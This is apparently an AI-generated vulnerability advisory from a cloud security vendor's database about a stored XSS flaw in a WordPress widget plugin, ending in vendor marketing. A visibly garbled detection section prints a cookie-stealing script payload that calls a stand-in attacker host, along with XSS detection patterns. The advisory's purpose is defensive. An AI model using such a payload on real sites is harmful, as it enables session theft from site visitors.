
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-1268 is a Stored Cross-Site Scripting (XSS) vulnerability in the Dynamic Widget Content plugin for WordPress, affecting all versions up to and including 1.3.6. The flaw exists in the widget content field within the Gutenberg editor sidebar, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or above to inject arbitrary web scripts. Injected scripts execute site-wide whenever a user accesses an affected page. It carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from the plugin's failure to sanitize user-supplied attributes in the widget content field and to properly escape output when rendering those attributes on the page. Specifically, the vulnerable code resides in helpers/blocks.php at lines 64 and 70 of version 1.3.6, where user input is passed through without adequate filtering (Wordfence, WordPress Trac). Exploitation requires only Contributor-level authentication — a relatively low privilege bar on many WordPress sites — and no user interaction beyond a victim visiting the injected page.
Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all users who visit those pages. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators. Because the injected scripts execute site-wide and can target high-privilege users (e.g., administrators), there is a risk of privilege escalation and broader site compromise (Wordfence, Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1268 as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation (Wordfence). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat on sites with open registration or multiple contributors.
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant./wp-admin/post.php or the REST API (/wp-json/wp/v2/posts) from Contributor-level accounts containing script tags or encoded JavaScript payloads in the request body.wp_posts table) containing <script>, javascript:, or encoded XSS strings in widget content fields.The vulnerability is patched in Dynamic Widget Content plugin version 1.3.7. Site administrators should update the plugin immediately via the WordPress admin dashboard or by downloading the latest version from the WordPress plugin repository. As an interim workaround, restrict Contributor-level user registration and audit existing Contributor accounts for unauthorized access. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts until the patch is applied (Wordfence, WordPress Trac Changeset).
Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for February 2–8, 2026, noting the patch availability in version 1.3.7 (Wordfence Weekly Report). The vulnerability was also tracked by INCIBE-CERT and CCN-CERT (Spanish national cybersecurity agencies), indicating standard advisory dissemination within the European security community. No notable independent researcher commentary or significant social media discussion has been identified beyond routine vulnerability aggregation.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."